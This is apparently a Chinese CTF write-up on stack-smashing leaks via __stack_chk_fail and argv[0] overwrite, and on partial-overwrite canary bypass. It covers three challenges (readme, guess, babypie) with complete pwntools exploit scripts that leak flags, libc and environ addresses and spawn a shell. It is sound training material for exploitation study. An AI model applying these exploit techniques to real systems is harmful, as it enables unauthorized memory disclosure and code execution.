关于栈迁移部分,之前已经介绍过了,就不记录了
Stack smash
在程序加了 canary 保护之后,如果我们输入的内容覆盖掉 canary 的话就会报错,程序就会执行 stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名,但是如果我们能够利用栈溢出控制这个东西,那我们就可以让 stack_chk_fail 打印出我们想要的东西
32C3 CTF readme
这个题可以在 https://www.jarvisoj.com/ 复现
IDA 分析看一下,在 _IO_getc(&v3) 处存在栈溢出
注意,下面有个 memset 指令,也就是说即便你不去第二遍输入程序自己也会给你设置成 0
memset() 函数用来将指定内存的前n个字节设置为特定的值,其原型为:void * memset( void * ptr, int value, size_t num );
参数说明:
ptr 为要操作的内存的指针。 value 为要设置的值。你既可以向 value 传递 int 类型的值,也可以传递 char 类型的值,int 和 char 可以根据 ASCII 码相互转换。 num 为 ptr 的前 num 个字节,size_t 就是unsigned int。
运行一下,发现输出了文件名,也就是 argv[0],如果可以把 argv[0] 的指针变成 flag 就可以了
但是问题是第二次输入的时候会把 flag 给覆盖掉,这就涉及到 ELF 文件的映射了,x86-64 程序的映射是从 0x400000 开始的,也就 flag 会在内存中出现两次,分别位于 0x00600d20 和 0x00400d20
这样的话即便被覆盖掉也没事,去 0x00400d20 找就是了
gdb调试一下,现在想要确定一下 argv[0] 在什么地方,在 main 函数处下个断点,然后运行起来,可以看到,在 0x7fffffffe12f 处存放着 程序的名称,而这个地址是放在 0x7fffffffdd68 的,只要把 0x7fffffffdd68 放的内容改成 flag 的地址就可以了
在来找一下它相当于我们输入的时候的栈顶的位置,在 call _IO_gets 的地方下个的断点,然后 c 让他继续运行起来
可以看到此时,栈顶是 0x7fffffffdb50,用 0x7fffffffdd68 减一下,得到偏移:0x218
也就是说,我们输入的内容要 0x218 以后才能把 argv[0] 给覆盖掉,那么写了 0x218 之后把 0x00400d20 写上就可以了
from pwn import *
p=process('./readme')
p=remote('pwn.jarvisoj.com',9877)
payload='a'*0x218+p64(0x400d20)
p.sendlineafter('name? ',payload)
p.sendlineafter('flag: ','123')
print p.recv()
https://blog.csdn.net/HappyOrange2014/article/details/50459201
可能会遇到 远程的报错不会返回给我们,然后需要设置:LIBCFATAL_STDERR=1
可以参考上面的链接
2018网鼎杯 guess
可以用 p & __libc_argv[0]
找到这个 argv[0]
同时注意一下它的汇编代码,rdi 的值是 rax 给的,rax 又是 [rbp-0x40]
在 gets 函数那里下个断点,然后运行,在计算一下,得到 canary 距离我们输入的字符串的偏移
通过 print environ 把 environ 给打印出来,同时搜一下 flag 在什么地方,减一下就是他俩的偏移
在 Linux 系统中,glibc 的环境指针 environ(environment pointer) 为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址
1、得到libc地址后,libc基址+_environ的偏移量=_environ的地址 在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关
2、通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量
这道题,在buuoj上打不通,不管输入什么东西返回的都是:
自己在本地起了一个 socat 也不行,因为没办法获取到 stack smashing detected
自己在服务器上起了一个,完全可以打得通:47.93.51.165 10000(题目随缘开关
唉,没早测试一下,试了好多个exp,人傻了🙃
from pwn import *
context.log_level = 'debug'
debug = 0
if debug:
p = process('./guess')
libc = ELF('libc.so.6')
else:
p = remote('47.93.51.165',10000)
libc =ELF('libc.so.6')
puts_got = 0x602020
payload = 'a'*296 + p64(puts_got)
p.sendlineafter("Please type your guessing flag\n",payload)
p.recvuntil("*** stack smashing detected ***: ")
puts_addr = u64(p.recv(6).ljust(8,'\0'))
log.info("puts_addr:%#x",puts_addr)
#gdb.attach(p,'b *0x400b23')
environ_addr = puts_addr - (libc.symbols['puts']-libc.symbols['environ'])
payload = 'a'*296 + p64(environ_addr)
p.sendlineafter("Please type your guessing flag\n",payload)
p.recvuntil("*** stack smashing detected ***: ")
environ = u64(p.recv(6).ljust(8,'\0'))
log.info("environ:%#x",environ)
flag_addr = environ - 0x168
payload = 'a'*296 + p64(flag_addr)
p.sendlineafter("Please type your guessing flag\n",payload)
p.interactive()
partial overwrite
在开启了 ASLR 之后,在低 12 位的页内偏移是不会改变的,也就是说,如果我们能够改变低几位,就可以一定程度上控制程序的流程
2018 - 安恒杯 - babypie
IDA 打开,发现了,system(‘/bin/sh’) 这样的后门
程序有两次 read,我们需要通过第一次 read 来泄漏 canary 的内容,然后第二次再去进行 getshell
根据 IDA 给出的伪代码,可以发现,第一次 read 的时候读入的是栈大小为:0x30,我们需要 read 的长度是 0x30-0x8+1(+1是为了覆盖 canary 的最低位为非零的值,printf 使用 %s 的时候遇到 \0 结束,覆盖 canary 低位为非零的值的时候就可以被 canary 打印出来了)
用打印出来的 canary 加上之前说的,低位覆盖为 0A3E,经过多次尝试,有机会能够拿到 shell
# -*- coding: utf-8 -*-
from pwn import *
io = process("./babypie", timeout = 1)
io.sendafter(":\n", 'a' * (0x30 - 0x8 + 1))
io.recvuntil('a' * (0x30 - 0x8 + 1))
canary = '\0' + io.recvn(7)
success(canary.encode('hex'))
io.sendafter(":\n", 'a' * (0x30 - 0x8) + canary + 'bbbbbbbb' + '\x3E\x0A')
io.interactive()